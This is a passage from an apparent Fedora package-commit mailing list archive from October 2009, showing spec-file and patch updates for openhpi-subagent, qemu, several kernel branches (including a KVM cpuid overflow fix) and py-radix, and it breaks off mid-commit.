-	DEBUGMSGTL ((AGENT, "resource_entry_count = %d\n", resource_entry_count));
+	DEBUGMSGTL ((AGENT, "resource_entry_count = %ld\n", resource_entry_count));
 
         subagent_unlock(&hpi_lock_data);
 
@@ -630,7 +630,7 @@ DEBUGMSGTL ((AGENT, "**** MIB_FALSE [%d]
 	resource_entry_count = CONTAINER_SIZE (cb.container);
 
 
-	DEBUGMSGTL ((AGENT, "async_event_resource: resource_entry_count = %d\n", 
+	DEBUGMSGTL ((AGENT, "async_event_resource: resource_entry_count = %ld\n", 
                      resource_entry_count));
 
 	return rv;              
@@ -828,7 +828,7 @@ int handle_saHpiResourceActiveEntries(ne
 {
 
 	DEBUGMSGTL ((AGENT,     
-		     "handle_saHpiResourceActiveEntries: Entry Count is %d\n", 
+		     "handle_saHpiResourceActiveEntries: Entry Count is %ld\n", 
 		     resource_entry_count));  
 
 	/* We are never called for a GETNEXT if it's registered as a
diff -Nrup openhpi-subagent-2.3.4.orig/src/saHpiUserEventLogTable.c openhpi-subagent-2.3.4/src/saHpiUserEventLogTable.c
--- openhpi-subagent-2.3.4.orig/src/saHpiUserEventLogTable.c	2006-09-13 17:41:26.000000000 +0200
+++ openhpi-subagent-2.3.4/src/saHpiUserEventLogTable.c	2009-10-23 13:34:12.000000000 +0200
@@ -1076,7 +1076,7 @@ void saHpiUserEventLogTable_set_reserve1
                     } else {
                             DEBUGMSGTL ((AGENT,"***********************************************\n"));
                             DEBUGMSGTL ((AGENT,"dr_entry->entry_id [%d]\n", dr_entry->entry_id));
-                            DEBUGMSGTL ((AGENT,"row_ctx->index.oids[saHpiUserEventEntryId_event_log_INDEX] [%d]\n", 
+                            DEBUGMSGTL ((AGENT,"row_ctx->index.oids[saHpiUserEventEntryId_event_log_INDEX] [%ld]\n", 
                                          row_ctx->index.oids[saHpiUserEventEntryId_event_log_INDEX]));
                             DEBUGMSGTL ((AGENT, 
                                          "ERROR: saHpiUserEventLogTable_set_reserve1() "
diff -Nrup openhpi-subagent-2.3.4.orig/src/saHpiUserEventTable.c openhpi-subagent-2.3.4/src/saHpiUserEventTable.c
--- openhpi-subagent-2.3.4.orig/src/saHpiUserEventTable.c	2006-09-13 17:41:26.000000000 +0200
+++ openhpi-subagent-2.3.4/src/saHpiUserEventTable.c	2009-10-23 13:34:12.000000000 +0200
@@ -1158,7 +1158,7 @@ void saHpiUserEventTable_set_reserve1( n
                     } else {
                             DEBUGMSGTL ((AGENT,"***********************************************\n"));
                             DEBUGMSGTL ((AGENT,"dr_entry->entry_id [%d]\n", dr_entry->entry_id));
-                            DEBUGMSGTL ((AGENT,"row_ctx->index.oids[saHpiUserEventEntryId_event_INDEX] [%d]\n", 
+                            DEBUGMSGTL ((AGENT,"row_ctx->index.oids[saHpiUserEventEntryId_event_INDEX] [%ld]\n", 
                                          row_ctx->index.oids[saHpiUserEventEntryId_event_INDEX]));
                             DEBUGMSGTL ((AGENT, 
                                          "ERROR: saHpiUserEventTable_set_reserve1() User specified UserEventEntryId invalid!!!\n"));


Index: openhpi-subagent.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openhpi-subagent/devel/openhpi-subagent.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- openhpi-subagent.spec	21 Aug 2009 14:52:34 -0000	1.6
+++ openhpi-subagent.spec	23 Oct 2009 12:35:42 -0000	1.7
@@ -1,6 +1,6 @@
 Name:           openhpi-subagent
 Version:        2.3.4
-Release:        7%{?dist}
+Release:        8%{?dist}
 Summary:        NetSNMP subagent for OpenHPI
 
 Group:          System Environment/Base
@@ -8,6 +8,7 @@ License:        BSD
 URL:            http://www.openhpi.org
 Source0:        http://downloads.sourceforge.net/openhpi/%{name}-%{version}.tar.gz
 Patch1:         %{name}-2.3.4-initd.patch
+Patch2:         %{name}-2.3.4-format.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  openhpi-devel >= 2.10, net-snmp-devel, openssl-devel
@@ -24,6 +25,7 @@ Hardware Platform Interface SNMP sub-age
 %prep
 %setup -q
 %patch1 -p1 -b .initd
+%patch2 -p1 -b .format
 
 
 %build
@@ -56,7 +58,7 @@ fi
 if [ "$1" -ge "1" ] ; then
     /sbin/service %{name} condrestart >/dev/null 2>&1
 fi
-            
+
 
 %files
 %defattr(-,root,root,-)
@@ -67,6 +69,9 @@ fi
 %{_datadir}/snmp/mibs/*.mib
 
 %changelog
+* Fri Oct 23 2009 Dan Hor?k <dan[at]danny.cz> - 2.3.4-8
+- fix build with net-snmp >= 5.5 (#524263)
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 2.3.4-7
 - rebuilt with new openssl
 



From markmc at fedoraproject.org  Fri Oct 23 12:48:18 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Fri, 23 Oct 2009 12:48:18 +0000 (UTC)
Subject: rpms/qemu/F-11 qemu-disable-copyrect-encoding.patch, NONE,
	1.1 qemu.spec, 1.107, 1.108
Message-ID: <20091023124818.A3E8011C01EA@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/qemu/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5083

Modified Files:
	qemu.spec 
Added Files:
	qemu-disable-copyrect-encoding.patch 
Log Message:
* Fri Oct 23 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.10.6-9
- Disable the vnc CopyRect encoding since it's still broken (#503156)


qemu-disable-copyrect-encoding.patch:
 vnc.c |    8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

--- NEW FILE qemu-disable-copyrect-encoding.patch ---
>From 1df8bf2b825dafd9b3c0ea24af184db988fc0741 Mon Sep 17 00:00:00 2001
From: Mark McLoughlin <markmc at redhat.com>
Date: Fri, 23 Oct 2009 13:41:52 +0100
Subject: [PATCH] Disable the vnc CopyRect encoding

Our CopyRect implementation seems to be broken still:

  https://bugzilla.redhat.com/503156

Let's just disable it until someone has a chance to debug further.

Signed-off-by: Mark McLoughlin <markmc at redhat.com>
Fedora-patch: qemu-disable-copyrect-encoding.patch
---
 vnc.c |    7 +++++++
 1 files changed, 7 insertions(+), 0 deletions(-)

diff --git a/vnc.c b/vnc.c
index 119c982..508f40d 100644
--- a/vnc.c
+++ b/vnc.c
@@ -1499,7 +1499,14 @@ static void set_encodings(VncState *vs, int32_t *encodings, size_t n_encodings)
             vs->vnc_encoding = enc;
             break;
         case VNC_ENCODING_COPYRECT:
+            /* Our CopyRect handling still seems to be broken, see:
+             *
+             *  https://bugzilla.redhat.com/503156
+             *
+             */
+#ifdef FIXME
             vs->features |= VNC_FEATURE_COPYRECT_MASK;
+#endif
             break;
         case VNC_ENCODING_HEXTILE:
             vs->features |= VNC_FEATURE_HEXTILE_MASK;
-- 
1.6.2.5



Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/F-11/qemu.spec,v
retrieving revision 1.107
retrieving revision 1.108
diff -u -p -r1.107 -r1.108
--- qemu.spec	19 Oct 2009 10:33:43 -0000	1.107
+++ qemu.spec	23 Oct 2009 12:48:18 -0000	1.108
@@ -1,7 +1,7 @@
 Summary: QEMU is a FAST! processor emulator
 Name: qemu
 Version: 0.10.6
-Release: 8%{?dist}
+Release: 9%{?dist}
 # Epoch because we pushed a qemu-1.0 package
 Epoch: 2
 License: GPLv2+ and LGPLv2+ and BSD
@@ -38,6 +38,7 @@ Patch17: qemu-use-statfs-to-determine-hu
 Patch18: qemu-allow-pulseaudio-to-be-the-default.patch
 Patch19: qemu-fix-virtio-net-gso-support.patch
 Patch20: qemu-fix-msr-count-potential-segfault.patch
+Patch21: qemu-disable-copyrect-encoding.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: SDL-devel zlib-devel which texi2html gnutls-devel cyrus-sasl-devel
@@ -245,6 +246,7 @@ such as kvmtrace and kvm_stat.
 %patch18 -p1
 %patch19 -p1
 %patch20 -p1
+%patch21 -p1
 
 %build
 # systems like rhel build system does not have a recent enough linker so
@@ -487,6 +489,9 @@ fi
 %{_mandir}/man1/qemu-img.1*
 
 %changelog
+* Fri Oct 23 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.10.6-9
+- Disable the vnc CopyRect encoding since it's still broken (#503156)
+
 * Mon Oct 19 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.10.6-8
 - Fix potential segfault from too small MSR_COUNT (#528901)
 



From cebbert at fedoraproject.org  Fri Oct 23 13:41:38 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Fri, 23 Oct 2009 13:41:38 +0000 (UTC)
Subject: rpms/kernel/F-11
	kvm-prevent-overflow-in-kvm-get-supported-cpuid.patch, NONE,
	1.1 kernel.spec, 1.1772, 1.1773
Message-ID: <20091023134138.7876011C01EA@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17208

Modified Files:
	kernel.spec 
Added Files:
	kvm-prevent-overflow-in-kvm-get-supported-cpuid.patch 
Log Message:
Fix overflow in KVM cpuid code.

kvm-prevent-overflow-in-kvm-get-supported-cpuid.patch:
 x86.c |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE kvm-prevent-overflow-in-kvm-get-supported-cpuid.patch ---
From: Avi Kivity <avi at redhat.com>
Date: Sun, 4 Oct 2009 14:45:13 +0000 (+0200)
Subject: KVM: Prevent overflow in KVM_GET_SUPPORTED_CPUID
X-Git-Tag: v2.6.32-rc4~55^2~3
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=6a54435560efdab1a08f429a954df4d6c740bddf

KVM: Prevent overflow in KVM_GET_SUPPORTED_CPUID

The number of entries is multiplied by the entry size, which can
overflow on 32-bit hosts.  Bound the entry count instead.

Reported-by: David Wagner <daw at cs.berkeley.edu>
Cc: stable at kernel.org
Signed-off-by: Avi Kivity <avi at redhat.com>
---

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index be451ee..9b96953 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -1591,6 +1591,8 @@ static int kvm_dev_ioctl_get_supported_cpuid(struct kvm_cpuid2 *cpuid,
 
 	if (cpuid->nent < 1)
 		goto out;
+	if (cpuid->nent > KVM_MAX_CPUID_ENTRIES)
+		cpuid->nent = KVM_MAX_CPUID_ENTRIES;
 	r = -ENOMEM;
 	cpuid_entries = vmalloc(sizeof(struct kvm_cpuid_entry2) * cpuid->nent);
 	if (!cpuid_entries)


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1772
retrieving revision 1.1773
diff -u -p -r1.1772 -r1.1773
--- kernel.spec	22 Oct 2009 20:54:21 -0000	1.1772
+++ kernel.spec	23 Oct 2009 13:41:37 -0000	1.1773
@@ -822,6 +822,9 @@ Patch16401: af_unix-fix-deadlock-connect
 # Fix exploitable oops in keyring code
 Patch16420: keys-get_instantiation_keyring-should-inc-the-keyring-refcount.patch
 
+# Fix overflow in KVM cpuid code
+Patch16430: kvm-prevent-overflow-in-kvm-get-supported-cpuid.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1542,6 +1545,9 @@ ApplyPatch af_unix-fix-deadlock-connecti
 # Fix exploitable oops in keyring code.
 ApplyPatch keys-get_instantiation_keyring-should-inc-the-keyring-refcount.patch
 
+# Fix overflow in KVM cpuid code
+ApplyPatch kvm-prevent-overflow-in-kvm-get-supported-cpuid.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2130,8 +2136,11 @@ fi
 # and build.
 
 %changelog
+* Thu Oct 22 2009 Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-94
+- Fix overflow in KVM cpuid code.
+
 * Thu Oct 22 2009 Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-93
-- Fix exploitable oops in keyring code.
+- Fix exploitable oops in keyring code (CVE-2009-3624)
 
 * Wed Oct 21 2009 Kyle McMartin <kyle at redhat.com>
 - shut-up-LOCK_TEST_WITH_RETURN.patch: sort out #445331... or paper bag



From cebbert at fedoraproject.org  Fri Oct 23 13:49:10 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Fri, 23 Oct 2009 13:49:10 +0000 (UTC)
Subject: rpms/kernel/F-10
	kvm-prevent-overflow-in-kvm-get-supported-cpuid.patch, NONE,
	1.1.2.1 kernel.spec, 1.1206.2.109, 1.1206.2.110
Message-ID: <20091023134910.B47D511C01EA@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19026

Modified Files:
      Tag: private-fedora-10-2_6_27
	kernel.spec 
Added Files:
      Tag: private-fedora-10-2_6_27
	kvm-prevent-overflow-in-kvm-get-supported-cpuid.patch 
Log Message:
Fix overflow in KVM cpuid code.

kvm-prevent-overflow-in-kvm-get-supported-cpuid.patch:
 x86.c |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE kvm-prevent-overflow-in-kvm-get-supported-cpuid.patch ---
From: Avi Kivity <avi at redhat.com>
Date: Sun, 4 Oct 2009 14:45:13 +0000 (+0200)
Subject: KVM: Prevent overflow in KVM_GET_SUPPORTED_CPUID
X-Git-Tag: v2.6.32-rc4~55^2~3
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=6a54435560efdab1a08f429a954df4d6c740bddf

KVM: Prevent overflow in KVM_GET_SUPPORTED_CPUID

The number of entries is multiplied by the entry size, which can
overflow on 32-bit hosts.  Bound the entry count instead.

Reported-by: David Wagner <daw at cs.berkeley.edu>
Cc: stable at kernel.org
Signed-off-by: Avi Kivity <avi at redhat.com>
---

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index be451ee..9b96953 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -1591,6 +1591,8 @@ static int kvm_dev_ioctl_get_supported_cpuid(struct kvm_cpuid2 *cpuid,
 
 	if (cpuid->nent < 1)
 		goto out;
+	if (cpuid->nent > KVM_MAX_CPUID_ENTRIES)
+		cpuid->nent = KVM_MAX_CPUID_ENTRIES;
 	r = -ENOMEM;
 	cpuid_entries = vmalloc(sizeof(struct kvm_cpuid_entry2) * cpuid->nent);
 	if (!cpuid_entries)


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/kernel.spec,v
retrieving revision 1.1206.2.109
retrieving revision 1.1206.2.110
diff -u -p -r1.1206.2.109 -r1.1206.2.110
--- kernel.spec	19 Oct 2009 16:19:04 -0000	1.1206.2.109
+++ kernel.spec	23 Oct 2009 13:49:10 -0000	1.1206.2.110
@@ -801,9 +801,6 @@ Patch15300: irda-add-irda-skb-cb-qdisc-r
 Patch15400: jbd-fix-return-value-of-journal-start-commit.patch
 
 # netlink security fix (CVE-2009-3612)
-Patch16000: netlink-fix-typo-in-initialization.patch
-
-# netlink security fix (CVE-2009-3612)
 Patch16100: netlink-fix-typo-in-initialization.patch
 
 # fix null deref in r128
@@ -812,6 +809,9 @@ Patch16200: drm-r128-add-test-for-initia
 # rhbz#529626
 Patch16201: af_unix-fix-deadlock-connecting-to-shutdown-socket.patch
 
+# Fix overflow in KVM cpuid code
+Patch16230: kvm-prevent-overflow-in-kvm-get-supported-cpuid.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1470,6 +1470,9 @@ ApplyPatch drm-r128-add-test-for-initial
 # rhbz#529626
 ApplyPatch af_unix-fix-deadlock-connecting-to-shutdown-socket.patch
 
+# Fix overflow in KVM cpuid code
+ApplyPatch kvm-prevent-overflow-in-kvm-get-supported-cpuid.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2045,6 +2048,9 @@ fi
 %kernel_variant_files -k vmlinux %{with_kdump} kdump
 
 %changelog
+* Thu Oct 22 2009 Chuck Ebbert <cebbert at redhat.com>  >  2.6.27.38-170.2.110.rc1
+- Fix overflow in KVM cpuid code.
+
 * Mon Oct 19 2009 Kyle McMartin <kyle at redhat.com>
 - af_unix-fix-deadlock-connecting-to-shutdown-socket.patch: fix for
   rhbz#529626.



From cebbert at fedoraproject.org  Fri Oct 23 13:53:15 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Fri, 23 Oct 2009 13:53:15 +0000 (UTC)
Subject: rpms/kernel/F-10 patch-2.6.27.38.bz2.sign, NONE, 1.1.2.1 .cvsignore,
	1.960.2.27, 1.960.2.28 kernel.spec, 1.1206.2.110,
	1.1206.2.111 sources, 1.922.2.27, 1.922.2.28 upstream,
	1.834.2.27, 1.834.2.28 patch-2.6.27.37.bz2.sign, 1.1.2.1,
	NONE patch-2.6.27.38-rc1.bz2.sign, 1.1.2.1, NONE
Message-ID: <20091023135315.A112711C01EA@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20148

Modified Files:
      Tag: private-fedora-10-2_6_27
	.cvsignore kernel.spec sources upstream 
Added Files:
      Tag: private-fedora-10-2_6_27
	patch-2.6.27.38.bz2.sign 
Removed Files:
      Tag: private-fedora-10-2_6_27
	patch-2.6.27.37.bz2.sign patch-2.6.27.38-rc1.bz2.sign 
Log Message:
Linux 2.6.27.38


--- NEW FILE patch-2.6.27.38.bz2.sign ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://www.kernel.org/signature.html for info

iD8DBQBK4BDOyGugalF9Dw4RAu0dAJ9HlQf/GTjT472E/lQgrGKTjJUJ1QCgiEc0
Gbm4BN/m8rfXM1T6VJhq/Vw=
=967T
-----END PGP SIGNATURE-----


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/.cvsignore,v
retrieving revision 1.960.2.27
retrieving revision 1.960.2.28
diff -u -p -r1.960.2.27 -r1.960.2.28
--- .cvsignore	17 Oct 2009 13:49:57 -0000	1.960.2.27
+++ .cvsignore	23 Oct 2009 13:53:14 -0000	1.960.2.28
@@ -4,5 +4,4 @@ kernel-2.6.*.config
 temp-*
 kernel-2.6.27
 linux-2.6.27.tar.bz2
-patch-2.6.27.37.bz2
-patch-2.6.27.38-rc1.bz2
+patch-2.6.27.38.bz2


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/kernel.spec,v
retrieving revision 1.1206.2.110
retrieving revision 1.1206.2.111
diff -u -p -r1.1206.2.110 -r1.1206.2.111
--- kernel.spec	23 Oct 2009 13:49:10 -0000	1.1206.2.110
+++ kernel.spec	23 Oct 2009 13:53:15 -0000	1.1206.2.111
@@ -41,7 +41,7 @@ Summary: The Linux kernel
 # Do we have a -stable update to apply?
 %define stable_update 38
 # Is it a -stable RC?
-%define stable_rc 1
+%define stable_rc 0
 # Set rpm version accordingly
 %if 0%{?stable_update}
 %define stablerev .%{stable_update}
@@ -2048,7 +2048,10 @@ fi
 %kernel_variant_files -k vmlinux %{with_kdump} kdump
 
 %changelog
-* Thu Oct 22 2009 Chuck Ebbert <cebbert at redhat.com>  >  2.6.27.38-170.2.110.rc1
+* Thu Oct 22 2009 Chuck Ebbert <cebbert at redhat.com>  2.6.27.38-170.2.111
+- Linux 2.6.27.38
+
+* Thu Oct 22 2009 Chuck Ebbert <cebbert at redhat.com>  2.6.27.38-170.2.110.rc1
 - Fix overflow in KVM cpuid code.
 
 * Mon Oct 19 2009 Kyle McMartin <kyle at redhat.com>


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/sources,v
retrieving revision 1.922.2.27
retrieving revision 1.922.2.28
diff -u -p -r1.922.2.27 -r1.922.2.28
--- sources	17 Oct 2009 13:49:57 -0000	1.922.2.27
+++ sources	23 Oct 2009 13:53:15 -0000	1.922.2.28
@@ -1,3 +1,2 @@
 b3e78977aa79d3754cb7f8143d7ddabd  linux-2.6.27.tar.bz2
-e75d87c11065955871b2e005d0242c99  patch-2.6.27.37.bz2
-8ef717930c741825c2fa5f20c2904088  patch-2.6.27.38-rc1.bz2
+80217587b03706705c4c0c393c1c01b5  patch-2.6.27.38.bz2


Index: upstream
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/upstream,v
retrieving revision 1.834.2.27
retrieving revision 1.834.2.28
diff -u -p -r1.834.2.27 -r1.834.2.28
--- upstream	17 Oct 2009 13:49:57 -0000	1.834.2.27
+++ upstream	23 Oct 2009 13:53:15 -0000	1.834.2.28
@@ -1,3 +1,2 @@
 linux-2.6.27.tar.bz2
-patch-2.6.27.37.bz2
-patch-2.6.27.38-rc1.bz2
+patch-2.6.27.38.bz2


--- patch-2.6.27.37.bz2.sign DELETED ---


--- patch-2.6.27.38-rc1.bz2.sign DELETED ---



From cebbert at fedoraproject.org  Fri Oct 23 13:56:38 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Fri, 23 Oct 2009 13:56:38 +0000 (UTC)
Subject: rpms/kernel/F-12 patch-2.6.31.5.bz2.sign, NONE, 1.1 .cvsignore,
	1.1131, 1.1132 kernel.spec, 1.1878, 1.1879 sources, 1.1089,
	1.1090 upstream, 1.1003, 1.1004 patch-2.6.31.4.bz2.sign, 1.1,
	NONE patch-2.6.31.5-rc1.bz2.sign, 1.1, NONE
Message-ID: <20091023135638.9252111C01EA@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20921

Modified Files:
	.cvsignore kernel.spec sources upstream 
Added Files:
	patch-2.6.31.5.bz2.sign 
Removed Files:
	patch-2.6.31.4.bz2.sign patch-2.6.31.5-rc1.bz2.sign 
Log Message:
Linux 2.6.31.5


--- NEW FILE patch-2.6.31.5.bz2.sign ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://www.kernel.org/signature.html for info

iD8DBQBK4PnByGugalF9Dw4RAiviAJ9bVRMOsQoRfyZRp6dq/xQkUipB6QCaA/2l
hwbeh0nVTNeBUpv3+btq7Co=
=0tVF
-----END PGP SIGNATURE-----


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/.cvsignore,v
retrieving revision 1.1131
retrieving revision 1.1132
diff -u -p -r1.1131 -r1.1132
--- .cvsignore	21 Oct 2009 10:22:10 -0000	1.1131
+++ .cvsignore	23 Oct 2009 13:56:37 -0000	1.1132
@@ -5,5 +5,4 @@ kernel-2.6.*.config
 temp-*
 kernel-2.6.31
 linux-2.6.31.tar.bz2
-patch-2.6.31.4.bz2
-patch-2.6.31.5-rc1.bz2
+patch-2.6.31.5.bz2


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1878
retrieving revision 1.1879
diff -u -p -r1.1878 -r1.1879
--- kernel.spec	22 Oct 2009 21:58:44 -0000	1.1878
+++ kernel.spec	23 Oct 2009 13:56:37 -0000	1.1879
@@ -42,7 +42,7 @@ Summary: The Linux kernel
 # Do we have a -stable update to apply?
 %define stable_update 5
 # Is it a -stable RC?
-%define stable_rc 1
+%define stable_rc 0
 # Set rpm version accordingly
 %if 0%{?stable_update}
 %define stablerev .%{stable_update}
@@ -2081,6 +2081,9 @@ fi
 # and build.
 
 %changelog
+* Fri Oct 23 2009 Chuck Ebbert <cebbert at redhat.com>
+- Linux 2.6.31.5
+
 * Thu Oct 22 2009 Chuck Ebbert <cebbert at redhat.com>
 - Fix exploitable OOPS in keyring code. (CVE-2009-3624)
 - Fix kernel memory leak to userspace. (CVE-2009-3612)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/sources,v
retrieving revision 1.1089
retrieving revision 1.1090
diff -u -p -r1.1089 -r1.1090
--- sources	21 Oct 2009 10:22:10 -0000	1.1089
+++ sources	23 Oct 2009 13:56:38 -0000	1.1090
@@ -1,3 +1,2 @@
 84c077a37684e4cbfa67b18154390d8a  linux-2.6.31.tar.bz2
-02078f4231baee4f0004212f2875df2b  patch-2.6.31.4.bz2
-4c32330f50909eddb3d8d2bc3fde5abd  patch-2.6.31.5-rc1.bz2
+6cac5e59d5562b591cdda485941204d5  patch-2.6.31.5.bz2


Index: upstream
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/upstream,v
retrieving revision 1.1003
retrieving revision 1.1004
diff -u -p -r1.1003 -r1.1004
--- upstream	21 Oct 2009 10:22:10 -0000	1.1003
+++ upstream	23 Oct 2009 13:56:38 -0000	1.1004
@@ -1,3 +1,2 @@
 linux-2.6.31.tar.bz2
-patch-2.6.31.4.bz2
-patch-2.6.31.5-rc1.bz2
+patch-2.6.31.5.bz2


--- patch-2.6.31.4.bz2.sign DELETED ---


--- patch-2.6.31.5-rc1.bz2.sign DELETED ---



From mdomsch at fedoraproject.org  Fri Oct 23 14:09:17 2009
From: mdomsch at fedoraproject.org (Matt Domsch)
Date: Fri, 23 Oct 2009 14:09:17 +0000 (UTC)
Subject: rpms/py-radix/devel py-radix-0.5-memleak.patch, NONE,
	1.1 py-radix.spec, 1.1, 1.2
Message-ID: <20091023140917.3711B11C0267@cvs1.fedora.phx.redhat.com>

Author: mdomsch

Update of /cvs/extras/rpms/py-radix/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23468

Modified Files:
	py-radix.spec 
Added Files:
	py-radix-0.5-memleak.patch 
Log Message:
Add patch by Alexander Sabourenkov to fix memory leak (Debian #512830)

py-radix-0.5-memleak.patch:
 radix_python.c |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE py-radix-0.5-memleak.patch ---
With thanks to Debian bug 512830. Add patch by Alexander Sabourenkov
to fix memory leak.
Fedora patch originally taken from
http://ftp-stud.hs-esslingen.de/debian/pool/main/p/py-radix/py-radix_0.5-2.diff.gz


diff -u py-radix-0.5.orig/radix_python.c py-radix-0.5/radix_python.c
--- py-radix-0.5.orig/radix_python.c	2007-12-17 20:49:01.000000000 -0600
+++ py-radix-0.5/radix_python.c	2009-10-23 09:03:50.000000000 -0500
@@ -95,6 +95,7 @@
 	Py_XDECREF(self->family);
 	Py_XDECREF(self->network);
 	Py_XDECREF(self->prefix);
+	Py_XDECREF(self->packed);
 	PyObject_Del(self);
 }
 


Index: py-radix.spec
===================================================================
RCS file: /cvs/extras/rpms/py-radix/devel/py-radix.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- py-radix.spec	13 Oct 2009 17:14:46 -0000	1.1
+++ py-radix.spec	23 Oct 2009 14:09:16 -0000	1.2
@@ -1,8 +1,9 @@
 Name: py-radix
 Summary: Radix tree data structure for Python
 Version: 0.5
-Release: 5%{?dist}
+Release: 6%{?dist}
 Source0: http://www2.mindrot.org/files/py-radix/py-radix-%{version}.tar.gz
+Patch0: py-radix-0.5-memleak.patch
 License: BSD with advertising
 Group: Development/Libraries
 BuildRoot: %{_tmppath}/%{name}-buildroot
@@ -24,6 +25,7 @@ for networks (the data structure itself 
 
 %prep
 %setup -q
+%patch0 -p1
 rm -f inet_ntop.c strlcpy.c
 touch inet_ntop.c strlcpy.c
 
@@ -43,6 +45,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc LICENSE README TODO ChangeLog
 
 %changelog
+* Fri Oct 23 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-6
+- Add patch by Alexander Sabourenkov to fix memory leak (Debian #512830)
+
 * Mon Oct 12 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.5-5
 - remove inet_ntop.c and strlcpy.c for safety.  They're only used on
   Windows.



From mdomsch at fedoraproject.org  Fri Oct 23 14:11:21 2009
From: mdomsch at fedoraproject.org (Matt Domsch)
Date: Fri, 23 Oct 2009 14:11:21 +0000 (UTC)
Subject: rpms/py-radix/EL-5 py-radix-0.5-memleak.patch, NONE,
	1.1 py-radix.spec, 1.1, 1.2
Message-ID: <20091023141121.D2C3211C01EA@cvs1.fedora.phx.redhat.com>

Author: mdomsch

Update of /cvs/extras/rpms/py-radix/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24529

Modified Files:
	py-radix.spec 
Added Files:
	py-radix-0.5-memleak.patch 
Log Message:
Add patch by Alexander Sabourenkov to fix memory leak (Debian #512830)

py-radix-0.5-memleak.patch:
 radix_python.c |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE py-radix-0.5-memleak.patch ---
With thanks to Debian bug 512830. Add patch by Alexander Sabourenkov
to fix memory leak.
Fedora patch originally taken from
http://ftp-stud.hs-esslingen.de/debian/pool/main/p/py-radix/py-radix_0.5-2.diff.gz


diff -u py-radix-0.5.orig/radix_python.c py-radix-0.5/radix_python.c
--- py-radix-0.5.orig/radix_python.c	2007-12-17 20:49:01.000000000 -0600
+++ py-radix-0.5/radix_python.c	2009-10-23 09:03:50.000000000 -0500
@@ -95,6 +95,7 @@
 	Py_XDECREF(self->family);
 	Py_XDECREF(self->network);
 	Py_XDECREF(self->prefix);
+	Py_XDECREF(self->packed);
 	PyObject_Del(self);
 }
 


Index: py-radix.spec
===================================================================
RCS file: /cvs/extras/rpms/py-radix/EL-5/py-radix.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
